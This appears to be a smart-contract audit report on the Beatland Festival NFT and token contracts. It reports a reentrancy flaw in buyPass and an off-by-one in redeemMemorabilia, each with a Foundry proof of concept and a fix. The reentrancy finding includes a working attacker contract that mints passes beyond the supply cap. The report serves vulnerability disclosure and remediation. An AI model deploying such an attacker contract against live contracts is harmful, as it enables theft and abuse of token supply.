Beatland Festival Audit Report

Version 2.1

0xicelatte

August 7, 2025

Beatland Festival Audit Report

0xicelatte

August 7, 2025

Prepared by: 0xicelatte

Lead Security Researcher: 0xicelatte

Table of Contents

Protocol Summary

“A festival NFT ecosystem on Ethereum where users purchase tiered passes (ERC1155), attend virtual(or not) performances to earn BEAT tokens (ERC20), and redeem unique memorabilia NFTs (integrated in the same ERC1155 contract) using BEAT tokens.”

- README.md

Disclaimer

The 0xicelatte team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings described in this document correspond to the following commit hash:

```
5034ccf16e4c0be96de2b91d19c69963ec7e3ee3
```

Scope

```
src/
#-- BeatToken.sol
#-- FestivalPass.sol
#-- interfaces
    #-- IFestivalPass.sol
```

Roles

- Owner: The owner and deployer of contracts, sets the Organizer address, collects the festival proceeds.
- Organizer: Configures performances and memorabilia.
- Attendee: Customer that buys a pass and attends performances. They use rewards received for attending performances to buy memorabilia.

Executive Summary

I spent approximately 1 week using Foundry & Slither and found 2 different confirmed issues. This is my first audit and I felt it went well.

Issues found

Severity	Number of issues found
High	0
Medium	2
Low	0
Info	0
Total	2

Findings

Medium

[M-1] Reentrancy attack in `FestivalPass::buyPass` allows entrant to buy unlimited festival passes

Description: `FestivalPass::buyPass` allows users to purchase passes by minting a new pass in exchange for the pass price. `FestivalPass::buyPass` does not follow CEI and allows users to purchase more passes then the maximum supply. `_mint` makes an external call to send a freshly minted ERC1155 token to the caller and only after `_mint` is called is the `passSupply[collectionId]` updated

If the receiver of the token is a contract that implements the `onERC1155Received` function, the contract can call `FestivalPass::buyPass` again, allowing them to purchase as many passes as they want ignoring the max supply of the passes.

```
    function buyPass(uint256 collectionId) external payable {
        // Must be valid pass ID (1 or 2 or 3)
        require(collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS, "Invalid pass ID");
        // Check payment and supply
        require(msg.value == passPrice[collectionId], "Incorrect payment amount");
        require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached");
        // Mint 1 pass to buyer
@>      _mint(msg.sender, collectionId, 1, "");
@>      ++passSupply[collectionId];
        // VIP gets 5 BEAT welcome bonus BACKSTAGE gets 15 BEAT welcome bonus
        uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0;
        if (bonus > 0) {
            // Mint BEAT tokens to buyer
            BeatToken(beatToken).mint(msg.sender, bonus);
        }
        emit PassPurchased(msg.sender, collectionId);
    }
```

Likelihood: High likelihood as reentrancy attacks like this are a known attack pattern and users may want additional passes/BeatTokens

Impact: The `passMaxSupply[collectionId]` is ignored, allowing unlimited tickets to be purchased.

- Also an unintended amount of BeatToken would be minted as bonus for any VIP or BACKSTAGE pass purchases from this exploit. Ex: for VIP tickets, normally only the maximum supply of tickets multiplied by the bonus would be minted in total: passMaxSupply[VIP_PASS] * 5e18. Since the maximum supply is bypassed, more bonus tokens are created.

Proof of Concept

1. Attacker creates a contract with the onERC1155Received function that calls FestivalPass::buyPass
2. Attacker repeatedly calls the FestivalPass::buyPass from the attack contract, purchasing more than the max supply of passes.

Place the following into FestivalPass.t.sol

```
import "@openzeppelin/contracts/token/ERC1155/utils/ERC1155Holder.sol";

contract FestivalPassTest is Test {
...

    function test_BuyPassReentrancy() public {
        uint256 BACKSTAGE_PASS = 3;
        // Configure pass with a maximum supply of 1
        uint256 BACKSTAGE_NEW_MAX_SUPPLY = 1;
        uint256 BACKSTAGE_OVERSUPPLY = BACKSTAGE_NEW_MAX_SUPPLY + 10;
        vm.prank(organizer);
        festivalPass.configurePass(BACKSTAGE_PASS, BACKSTAGE_PRICE,
            BACKSTAGE_NEW_MAX_SUPPLY);

        address attackUser = makeAddr("attackUser");
        vm.deal(attackUser, BACKSTAGE_PRICE * BACKSTAGE_OVERSUPPLY);

        BuyPassReentrancyAttacker buyPassReentrancyAttacker = new
            BuyPassReentrancyAttacker(festivalPass);
        uint256 startingBackstagePassTotal = festivalPass.passSupply(
            BACKSTAGE_PASS);
        console.log("starting number of Backstage passes: ",
            startingBackstagePassTotal);

        // Attack
        vm.prank(attackUser);
        buyPassReentrancyAttacker.attack{value: BACKSTAGE_PRICE *
            BACKSTAGE_OVERSUPPLY}();

        uint256 endingBackstagePassTotal = festivalPass.passSupply(
            BACKSTAGE_PASS);
        console.log("ending number of Backstage passes: ",
            endingBackstagePassTotal);

        assertGt(endingBackstagePassTotal, BACKSTAGE_NEW_MAX_SUPPLY);
    }
}

contract BuyPassReentrancyAttacker is ERC1155Holder {
    FestivalPass festivalPass;
    uint256 BACKSTAGE_PRICE;
    uint256 BACKSTAGE_PASS = 3;

    constructor(FestivalPass _festivalPass) {
        festivalPass = _festivalPass;
        BACKSTAGE_PRICE = festivalPass.passPrice(BACKSTAGE_PASS);
    }

    function attack() public payable {
        festivalPass.buyPass{value: BACKSTAGE_PRICE}(BACKSTAGE_PASS);
    }

    function _attack() internal {
        if (address(this).balance >= BACKSTAGE_PRICE) {
            attack();
        }
    }

    function onERC1155Received(
        address,
        address,
        uint256,
        uint256,
        bytes memory
    ) public virtual override returns (bytes4) {
        _attack();
        return this.onERC1155Received.selector;
    }
}
```

Recommended Mitigation: To prevent this, `FestivalPass::buyPass` should update `++ passSupply[collectionId];` before the `_mint` function makes the external call. Also, the emission event should happen before the `_mint` function.

```
    function buyPass(uint256 collectionId) external payable {
        // Must be valid pass ID (1 or 2 or 3)
        require(collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS, "Invalid pass ID");
        // Check payment and supply
        require(msg.value == passPrice[collectionId], "Incorrect payment amount");
        require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached");
        // Mint 1 pass to buyer
```

```
+        ++passSupply[collectionId];
+        emit PassPurchased(msg.sender, collectionId);
         _mint(msg.sender, collectionId, 1, "");
-        ++passSupply[collectionId];
         // VIP gets 5 BEAT welcome bonus BACKSTAGE gets 15 BEAT welcome bonus
         uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0;
         if (bonus > 0) {
             // Mint BEAT tokens to buyer
             BeatToken(beatToken).mint(msg.sender, bonus);
         }
-        emit PassPurchased(msg.sender, collectionId);
     }
```

[M-2] Off by 1 error in `FestivalPass::redeemMemorabilia` means -1 maximum memorabilia can be redeemed

Description: Users should be able to call `FestivalPass::redeemMemorabilia` to redeem beat tokens for memorabilia until the maximum number of memorabilia is reached. When `createMemorabiliaCollection` is called by the organizer, the `currentItemId` starts at 1. The require statement in `FestivalPass::redeemMemorabilia` incorrectly assumes `currentItemId` is equal to the current number of memorabilia redeemed, but is actually equal to +1.

```
    function redeemMemorabilia(uint256 collectionId) external {
        MemorabiliaCollection storage collection = collections[collectionId];
        require(collection.priceInBeat > 0, "Collection does not exist");
        require(collection.isActive, "Collection not active");
@>      require(collection.currentItemId < collection.maxSupply, "Collection sold out");
        ...
```

Likelihood: This issue occurs 100% of the time when users call `FestivalPass::redeemMemorabilia`

Impact: The biggest impact is when an organizer makes a memorabilia with a maximum supply of 1, then no user will be able to redeem that memorabilia.

- For all other maximum supplies greater than 1, users will be able to use the `FestivalPass::redeemMemorabilia` until the maximum supply -1 is reached

Proof of Concept

1. The organizer creates a memorabilia collection with a maximum supply of 1
2. A user with enough beat tokens to redeem the memorabilia tries and fails to redeem the memorabilia

Place the following into `FestivalPass.t.sol`

```
    function test_RedeemMemorabiliaMax() public {
        // Set max supply to 1
        uint256 MEM_MAX_SUPPLY = 1;
        uint256 MEM_PRICE = 100e18;
        vm.prank(organizer);
        uint256 collectionId = festivalPass.createMemorabiliaCollection(
            "Detail Test",
            "ipfs://QmTest",
            MEM_PRICE,
            MEM_MAX_SUPPLY,
            true
        );
        address attackUser = makeAddr("attackUser");
        vm.deal(attackUser, 10 ether);
        vm.prank(address(festivalPass));
        beatToken.mint(attackUser, MEM_PRICE * 10);

        vm.startPrank(attackUser);
        // No redemptions are possible
        vm.expectRevert();
        festivalPass.redeemMemorabilia(collectionId);
        vm.stopPrank();
    }
```

Recommended Mitigation

Since `collection.currentItemId` starts at 1, use <= to check if the `collection.maxSupply` has been reached.

```
    function redeemMemorabilia(uint256 collectionId) external {
        MemorabiliaCollection storage collection = collections[collectionId];
        require(collection.priceInBeat > 0, "Collection does not exist");
        require(collection.isActive, "Collection not active");
+       require(collection.currentItemId <= collection.maxSupply, "Collection sold out");
-       require(collection.currentItemId < collection.maxSupply, "Collection sold out");
        ...
```